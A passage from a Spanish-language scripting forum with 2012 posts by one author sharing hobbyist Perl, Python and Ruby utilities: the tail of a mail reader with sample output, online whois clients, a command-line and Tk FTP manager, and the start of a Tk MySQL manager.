        /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig )
    {
        my $body = $1;
        $body =~ s/<br>/\n/g;

        my $uno = HTML::Strip->new( emit_spaces => 1 );
        my $body = $uno->parse($body);

        print "\n\n[Body Start]\n\n";
        print $body;
        print "\n\n[Body End]\n\n";
    }
}

sub head {
    print qq(

  @@@@                 @ @    @        @               
@    @                  @    @        @               
@                       @    @        @               
@       @@@ @@   @@@  @ @    @  @ @@  @@@@   @@@  @  @
@  @@@  @  @  @     @ @ @    @  @@  @ @   @ @   @ @  @
@    @  @  @  @  @@@@ @ @    @  @   @ @   @ @   @  @@
@    @  @  @  @ @   @ @ @    @  @   @ @   @ @   @  @@
@   @@  @  @  @ @   @ @ @    @  @   @ @   @ @   @ @  @
  @@@ @  @  @  @  @@@@ @ @    @  @   @ @@@@   @@@  @  @

);
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

#The End ?



Ejemplo de uso



  @@@@                 @ @    @        @
@    @                  @    @        @
@                       @    @        @
@       @@@ @@   @@@  @ @    @  @ @@  @@@@   @@@  @  @
@  @@@  @  @  @     @ @ @    @  @@  @ @   @ @   @ @  @
@    @  @  @  @  @@@@ @ @    @  @   @ @   @ @   @  @@
@    @  @  @  @ @   @ @ @    @  @   @ @   @ @   @  @@
@   @@  @  @  @ @   @ @ @    @  @   @ @   @ @   @ @  @
  @@@ @  @  @  @  @@@@ @ @    @  @   @ @@@@   @@@  @  @



[+] Username : lagartojuancho

[+] Password : juancho123


[+] Options

[1] : Messages list
[2] : Read Message
[3] : Exit

[+] Option : 1

[+] Messages found : 8


[+] ID : 1

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 18:55:33 -0300

[+] ID : 2

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 18:56:59 -0300

[+] ID : 3

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 19:07:20 -0300

[+] ID : 4

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : hola tonton
[+] Date : Mon, 23 Apr 2012 19:26:17 -0300

[+] ID : 5

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : hola tonton
[+] Date : Mon, 23 Apr 2012 19:26:21 -0300

[+] ID : 6

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : ASUNTO
[+] Date : Mon, 23 Apr 2012 19:30:10 -0300

[+] ID : 7

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : ASUNTO FINAL
[+] Date : Tue, 24 Apr 2012 12:39:14 -0300

[+] ID : 8

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : hola
[+] Date : Wed, 25 Apr 2012 14:13:22 -0300


[+] Options

[1] : Messages list
[2] : Read Message
[3] : Exit

[+] Option :
#259
Scripting / [Perl Tk] Whois Online 0.1
23 Abril 2012, 17:21 PM
Version Tk de un cliente whois que funciona mediante una pagina online.

Una imagen


El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Whois Online 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::ROText;
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "white";

my $newas =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$newas->geometry("400x300+50+50");
$newas->title("Whois Online 0.1 || Coded By Doddy H");
$newas->resizable( 0, 0 );

$newas->Label(
    -text       => "Domain : ",
    -font       => "Impact2",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => "10", -y => "10" );
my $dom = $newas->Entry(
    -width      => "30",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => "85", -y => "13" );

my $console = $newas->Scrolled(
    "ROText",
    -scrollbars => "e",
    -width      => 36,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 15, -y => 50 );

$newas->Button(
    -text             => "Search",
    -command          => \&buscar,
    -width            => "10",
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 310, -y => "50" );
$newas->Button(
    -text             => "Clean",
    -command          => \&limpiar,
    -width            => "10",
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 310, -y => "80" );
$newas->Button(
    -text             => "Exit",
    -command          => \&salir,
    -width            => "10",
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 310, -y => "110" );

MainLoop;

sub buscar {
    $console->delete( "0.1", "end" );
    my $target = $dom->get;
    $newas->update;
    $console->insert( "end", whois($target) );
    $newas->update;
}

sub limpiar {
    $console->delete( "0.1", "end" );
    $dom->delete( "0.1", "end" );
}

sub salir {
    exit 1;
}

sub whois {

    my $ob   = shift;
    my $code = tomar(
        "http://networking.ringofsaturn.com/Tools/whois.php",
        { "domain" => $ob, "submit" => "submit" }
    );

    my @chau = ( "&quot;", "&gt;&gt;&gt;", "&lt;&lt;&lt;" );

    if ( $code =~ /<pre>(.*?)<\/pre>/sig ) {
        my $resul = $1;
        chomp $resul;

        for my $cha (@chau) {
            $resul =~ s/$cha//ig;
        }

        if ( $resul =~ /Whois Server Version/ ) {
            return $resul;
        }
        else {
            return "Not Found";
        }
    }
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

# The End ?

#260
Scripting / [Perl] Whois Online 0.1
23 Abril 2012, 17:21 PM
Debido a problemas con el modulo Net::Whois::Raw me vi obligado a realizar un whois mediante una pagina online.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Whois Online 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
if ( $ARGV[0] ) {
    print whois( $ARGV[0] );
}
else {
    sintax();
}
copyright();

sub sintax {
    print "\n[+] Sintax : $0 <domain>\n";
}

sub head {
    print "\n-- == Whois Online 0.1 == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    exit(1);
}

sub whois {

    my $ob   = shift;
    my $code = tomar(
        "http://networking.ringofsaturn.com/Tools/whois.php",
        { "domain" => $ob, "submit" => "submit" }
    );

    my @chau = ( "&quot;", "&gt;&gt;&gt;", "&lt;&lt;&lt;" );

    if ( $code =~ /<pre>(.*?)<\/pre>/sig ) {
        my $resul = $1;
        chomp $resul;

        for my $cha (@chau) {
            $resul =~ s/$cha//ig;
        }

        if ( $resul =~ /Whois Server Version/ ) {
            return $resul;
        }
        else {
            return "Not Found";
        }
    }
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

# The End ?

#261
Scripting / [Python] Whois Online 0.1
23 Abril 2012, 17:20 PM
Un simple script en Python para realizar un whois de forma online (mediante una pagina).

Código (python) [Seleccionar]

#!usr/bin/python
#Whois Online 0.1
#Coded By Doddy H

import urllib2,sys,re

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def tomar(web,vars) :
return nave.open(web,vars).read()

def head():
print "\n-- == Whois Online 0.1 == --\n\n"

def copyright():
print "\n(C) Doddy Hackman 2012\n"
sys.exit(1)

def sintax():
print "[+] Sintax : ",sys.argv[0]," <domain>\n"

def whois(domain):
try:
  code = tomar("http://networking.ringofsaturn.com/Tools/whois.php","domain="+domain+"&"+"submit=submit")
  if (re.findall("<PRE>(.*?)<\/PRE>",code,re.S)):
   found = re.findall("<PRE>(.*?)<\/PRE>",code,re.S)
   resul = found[0]
   resul = re.sub("&quot;","",resul)
   resul = re.sub("&gt;&gt;&gt;","",resul)
   resul = re.sub("&lt;&lt;&lt;","",resul)
   return resul
  else:
   return "Not Found"
except:
  print "[-] Page offline\n"

head()
if len(sys.argv) != 2 :
sintax()
else :
print whois(sys.argv[1])
copyright()

# The End


#262
Scripting / [Ruby] Whois Online 0.1
23 Abril 2012, 17:19 PM
Un simple script en Ruby para hacer un whois al dominio que quieran.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Whois Online 0.1
#Coded BY Doddy H

require "net/http"

def head()
 print "\n-- == Whois Online 0.1 == --\n\n"
end

def sintax()
 print "\n[+] Sintax : ruby domain.rb <domain>\n"
end

def copyright()
 print "\n\n(C) Doddy Hackman 2012\n\n"
end

def tomar(web,par)
 return Net::HTTP.post_form(URI.parse(web),par).body
end

def whois(dom)
 code = tomar("http://networking.ringofsaturn.com/Tools/whois.php",{"domain"=>dom,"submit"=>"submit"})
 if  code=~/<pre>(.*?)<\/pre>/mi
   final = $1
   final = final.sub(/&quot;/,"")
   final = final.sub(/&gt;&gt;&gt;/,"")
   final = final.sub(/&lt;&lt;&lt;/,"")
   return final
 else
   return "Not Found"
 end
end

domain = ARGV[0]

head()
if !domain
 sintax()
else
 print whois(domain)
end
copyright()
   
#The End ?


#263
Scripting / [Perl Tk] FTP Manager 0.2
22 Abril 2012, 05:03 AM
Version Tk de un cliente FTP que hice en Perl

Las opciones que tiene son

  • Listado de archivos en un directorio
  • Borrar archivos y directorios
  • Crear directorios nuevos
  • Renombrar
  • Descargar y subir archivos

    Una imagen


    El codigo del programa

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #FTP Manager 0.2
    #Version Tk
    #Coded By Doddy H

    use Tk;
    use Tk::FileSelect;
    use Cwd;
    use Net::FTP;

    if ( $^O eq 'MSWin32' ) {
        use Win32::Console;
        Win32::Console::Free();
    }

    my $color_fondo = "black";
    my $color_texto = "cyan";

    my $navedos =
      MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

    $navedos->title("FTP Manager 0.2");
    $navedos->geometry("218x150+20+20");
    $navedos->resizable( 0, 0 );

    $navedos->Label(
        -text       => "Host : ",
        -font       => "Impact1",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 10, -y => 10 );
    my $host = $navedos->Entry(
        -width      => 23,
        -text       => "localhost",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 13 );

    $navedos->Label(
        -text       => "User : ",
        -font       => "Impact1",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 10, -y => 40 );
    my $user = $navedos->Entry(
        -width      => 23,
        -text       => "doddy",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 43 );

    $navedos->Label(
        -text       => "Pass : ",
        -font       => "Impact1",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 10, -y => 70 );
    my $pass = $navedos->Entry(
        -width      => 23,
        -text       => "doddy",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 73 );

    $navedos->Button(
        -text             => "Connect",
        -width            => 13,
        -command          => \&now,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->place( -x => 60, -y => 110 );

    MainLoop;

    sub now {

        my $host = $host->get;
        my $user = $user->get;
        my $pass = $pass->get;

        my $socket = Net::FTP->new($host);
        if ( $socket->login( $user, $pass ) ) {

            $navedos->destroy;

            my $mandos = MainWindow->new(
                -background => $color_fondo,
                -foreground => $color_texto
            );
            $mandos->title("FTP Manager 0.2 || Coded By Doddy H");
            $mandos->geometry("565x335+20+20");
            $mandos->resizable( 0, 0 );

            $menul = $mandos->Frame(
                -relief     => "sunken",
                -bd         => 1,
                -background => $color_fondo,
                -foreground => $color_texto
            );
            my $menulnow = $menul->Menubutton(
                -text             => "Options",
                -underline        => 1,
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->pack( -side => "left" );
            my $aboutnow = $menul->Menubutton(
                -text             => "About",
                -underline        => 1,
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->pack( -side => "left" );
            my $exitnow = $menul->Menubutton(
                -text             => "Exit",
                -underline        => 1,
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->pack( -side => "left" );
            $menul->pack( -side => "top", -fill => "x" );

            $menulnow->command(
                -label      => "Delete File",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&delnow
            );
            $menulnow->command(
                -label      => "Delete Directory",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&deldirnow
            );
            $menulnow->command(
                -label      => "Make Directory",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&makedirnow
            );
            $menulnow->command(
                -label      => "Rename",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&renamenow
            );
            $menulnow->command(
                -label      => "Download",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&downloadnow
            );
            $menulnow->command(
                -label      => "Upload",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&updatenow
            );

            $aboutnow->command(
                -label      => "About",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&aboutnownow
            );
            $exitnow->command(
                -label      => "Exit",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&exitnow
            );

            $mandos->Label(
                -text       => "Directory : ",
                -font       => "Impact1",
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 23, -y => 40 );
            my $actual = $mandos->Entry(
                -text       => "/",
                -width      => 60,
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 105, -y => 43 );
            $mandos->Button(
                -width            => 8,
                -text             => "Enter",
                -command          => \&dirs,
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->place( -x => 480, -y => 43 );

            $mandos->Label(
                -text       => "Directory",
                -font       => "Impact1",
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 130, -y => 90 );
            $mandos->Label(
                -text       => "Files",
                -font       => "Impact1",
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 350, -y => 90 );

            my $dir_now = $mandos->Listbox(
                -width      => 25,
                -height     => 13,
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 88, -y => 130 );
            my $files_now = $mandos->Listbox(
                -width      => 25,
                -height     => 13,
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 300, -y => 130 );

            sub exitnow {
                $socket->close();
                exit(1);
            }

            sub aboutnownow {
                $mandos->Dialog(
                    -title            => "About",
                    -buttons          => ["OK"],
                    -text             => "Coded By Doddy H",
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->Show();
            }

            sub dirs {

                $dir_now->delete( "0.0", "end" );
                $files_now->delete( "0.0", "end" );

                if ( my @files = $socket->dir() ) {

                    my @files_found;
                    my @dirs_found;

                    $socket->cwd( $actual->get );

                    for my $fil (@files) {
                        my @to = split( " ", $fil );
                        my ( $dir, $file ) = @to[ 0, 8 ];
                        if ( $dir =~ /^d/ ) {
                            $dir_now->insert( "end", $file );
                        }
                        else {
                            $files_now->insert( "end", $file );
                        }
                    }
                }
            }

            sub delnow {

                my $ventdos = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventdos->geometry("260x80+20+20");
                $ventdos->title("Delete File");
                $ventdos->resizable( 0, 0 );

                $ventdos->Label(
                    -text       => "File : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $filechau = $ventdos->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 60, -y => 26 );
                $ventdos->Button(
                    -width            => 6,
                    -text             => "Delete",
                    -command          => \&delnowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 190, -y => 25 );

                sub delnowdos {
                    if ( $socket->delete( $filechau->get ) ) {
                        $mandos->Dialog(
                            -title            => "Deleted",
                            -buttons          => ["OK"],
                            -text             => "File Deleted",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub deldirnow {

                my $venttres = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $venttres->geometry("300x80+20+20");
                $venttres->title("Delete Directory");
                $venttres->resizable( 0, 0 );

                $venttres->Label(
                    -text       => "Directory : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $dirchau = $venttres->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 99, -y => 26 );
                $venttres->Button(
                    -width            => 6,
                    -text             => "Delete",
                    -command          => \&deldirnowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 230, -y => 25 );

                sub deldirnowdos {
                    if ( $socket->rmdir( $dirchau->get ) ) {
                        $mandos->Dialog(
                            -title            => "Deleted",
                            -buttons          => ["OK"],
                            -text             => "Directory Deleted",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub makedirnow {

                my $ventcuatro = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventcuatro->geometry("300x80+20+20");
                $ventcuatro->title("Make Directory");
                $ventcuatro->resizable( 0, 0 );

                $ventcuatro->Label(
                    -text       => "Directory : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $dirnow = $ventcuatro->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 99, -y => 26 );
                $ventcuatro->Button(
                    -width            => 6,
                    -text             => "Make",
                    -command          => \&makedirnowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 230, -y => 25 );

                sub makedirnowdos {

                    if ( $socket->mkdir( $dirnow->get ) ) {
                        $mandos->Dialog(
                            -title            => "Ok",
                            -buttons          => ["OK"],
                            -text             => "Ok",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub renamenow {

                my $ventcinco = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventcinco->geometry("440x80+20+20");
                $ventcinco->title("Rename");
                $ventcinco->resizable( 0, 0 );

                $ventcinco->Label(
                    -text       => "Name : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $unonow = $ventcinco->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 74, -y => 26 );

                $ventcinco->Label(
                    -text       => "To : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 210, -y => 20 );
                my $dosnow = $ventcinco->Entry(
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 240, -y => 26 );

                $ventcinco->Button(
                    -width            => 6,
                    -text             => "Rename",
                    -command          => \&renamenowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 372, -y => 26 );

                sub renamenowdos {

                    if ( $socket->rename( $unonow->get, $dosnow->get ) ) {
                        $mandos->Dialog(
                            -title            => "Ok",
                            -buttons          => ["OK"],
                            -text             => "Ok",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub updatenow {

                my $ventseis = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventseis->geometry("440x80+20+20");
                $ventseis->title("Upload");
                $ventseis->resizable( 0, 0 );

                $ventseis->Label(
                    -text       => "File : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $filenow = $ventseis->Entry(
                    -width      => 40,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 60, -y => 26 );

                $ventseis->Button(
                    -width            => 8,
                    -text             => "Browse",
                    -command          => \&bronow,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 310, -y => 26 );
                $ventseis->Button(
                    -width            => 8,
                    -text             => "Upload",
                    -command          => \&updatenowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 365, -y => 26 );

                sub bronow {
                    $browse = $ventseis->FileSelect( -directory => getcwd() );
                    my $file = $browse->Show;
                    $filenow->configure( -text => $file );
                }

                sub updatenowdos {

                    if ( $socket->put( $filenow->get ) ) {
                        $mandos->Dialog(
                            -title            => "File uploaded",
                            -buttons          => ["OK"],
                            -text             => "Ok",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub downloadnow {

                my $ventsiete = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventsiete->geometry("270x80+20+20");
                $ventsiete->title("Downloader");
                $ventsiete->resizable( 0, 0 );

                $ventsiete->Label(
                    -text       => "File : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $filenownow = $ventsiete->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 59, -y => 26 );
                $ventsiete->Button(
                    -width            => 8,
                    -text             => "Download",
                    -command          => \&downloadnowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 190, -y => 25 );

                sub downloadnowdos {

                    if ( $socket->get( $filenownow->get ) ) {
                        $mandos->Dialog(
                            -title            => "File downloaded",
                            -buttons          => ["OK"],
                            -text             => "Ok",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

        }
        else {
            $mandos->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "Error",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
    }

    #The End ?
#264
Scripting / [Perl] FTP Manager 0.2
22 Abril 2012, 05:03 AM
Nueva version de un cliente FTP que hice en Perl , en esta version se le arreglo varias cosas.

El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#FTP Manager 0.2
#Coded By Doddy H

use Net::FTP;

&head;

print "\n\n[FTP Server] : ";
chomp( my $ftp = <stdin> );
print "\n[User] : ";
chomp( my $user = <stdin> );
print "\n[Pass] : ";
chomp( my $pass = <stdin> );

if ( my $socket = Net::FTP->new($ftp) ) {
    if ( $socket->login( $user, $pass ) ) {

        print "\n\n[+] Enter of the server FTP\n";

      menu:

        print "\n\n>>";
        chomp( my $cmd = <stdin> );
        print "\n\n";

        if ( $cmd =~ /help/ ) {
            print q(
[+] Commands

[++] help : show information
[++] cd : change directory <dir>
[++] dir : list a directory
[++] mkdir : create a directory <dir>
[++] rmdir : delete a directory <dir>
[++] pwd : directory 
[++] del : delete a file <file>
[++] rename : change name of the a file <file1> <file2>
[++] size : size of the a file <file>
[++] put : upload a file <file>
[++] get : download a file <file>
[++] cdup : change dir <dir>
);
        }

        if ( $cmd eq "dir" ) {
            if ( my @files = $socket->dir() ) {

                my @files_found;
                my @dirs_found;

                for my $fil (@files) {
                    my @to = split( " ", $fil );
                    my ( $dir, $file ) = @to[ 0, 8 ];
                    if ( $dir =~ /^d/ ) {
                        push( @dirs_found, $file );
                    }
                    else {
                        push( @files_found, $file );
                    }
                }

                print "[++] Directory Found : " . int(@dirs_found) . "\n";
                print "\n[+] Files Found : " . int(@files_found) . "\n\n";

                for my $dires (@dirs_found) {
                    print "[++] : $dires\n";
                }

                for my $filex (@files_found) {
                    print "[+] : $filex\n";
                }

            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /pwd/ig ) {
            print "[+] Path : " . $socket->pwd() . "\n";
        }

        if ( $cmd =~ /cd (.*)/ig ) {
            if ( $socket->cwd($1) ) {
                print "[+] Directory changed\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /cdup/ig ) {
            if ( my $dir = $socket->cdup() ) {
                print "[+] Directory changed\n\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /del (.*)/ig ) {
            if ( $socket->delete($1) ) {
                print "[+] File deleted\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /rename (.*) (.*)/ig ) {
            if ( $socket->rename( $1, $2 ) ) {
                print "[+] File Updated\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /mkdir (.*)/ig ) {
            if ( $socket->mkdir($1) ) {
                print "[+] Directory created\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /rmdir (.*)/ig ) {
            if ( $socket->rmdir($1) ) {
                print "[+] Directory deleted\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /size (.*)/ig ) {
            print "[+] Size : " . $socket->size($1) . "\n\n";
        }

        if ( $cmd =~ /exit/ig ) {
            copyright();
            exit(1);
        }

        if ( $cmd =~ /get (.*)/ig ) {
            print "[+] Downloading file\n\n";
            if ( $socket->get($1) ) {
                print "[+] Download completed";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /put (.*)/ig ) {
            print "[+] Uploading file\n\n";
            if ( $socket->put($1) ) {
                print "[+] Upload completed";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        goto menu;

    }
    else {
        print "\n\n[-] Failed the login\n\n";
    }

}
else {
    print "\n\n[-] Error\n\n";
}

sub head {
    print "\n\n -- == FTP Manager 0.2 == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
}

# The End ?


#265
Scripting / [Perl Tk] Mysql Manager 0.6
14 Abril 2012, 19:49 PM
Nueva version Tk de un Mysql manager que hice hace tiempo.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Mysql Manager 0.6
#Version Tk
#Coded By Doddy H
#Modules
#ppm install http://www.bribes.org/perl/ppm/Scalar-List-Utils.ppd
#ppm install http://www.bribes.org/perl/ppm/Storable.ppd
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd

use Tk;
use Tk::ROText;
use Tk::PNG;
use DBI;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "orange";

my $nave =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$nave->title("Mysql Manager 0.6 || Coded By Doddy H");
$nave->geometry("210x160+20+20");
$nave->resizable( 0, 0 );

$nave->Label(
    -text       => "Host : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 10, -y => 10 );
my $host = $nave->Entry(
    -width      => 22,
    -text       => "localhost",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 13 );

$nave->Label(
    -text       => "User : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 10, -y => 40 );
my $user = $nave->Entry(
    -width      => 22,
    -text       => "root",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 43 );

$nave->Label(
    -text       => "Pass : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 10, -y => 70 );
my $pass = $nave->Entry(
    -width      => 22,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 73 );

$nave->Button(
    -text             => "Connect",
    -width            => 13,
    -command          => \&now,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => "orange"
)->place( -x => 60, -y => 120 );
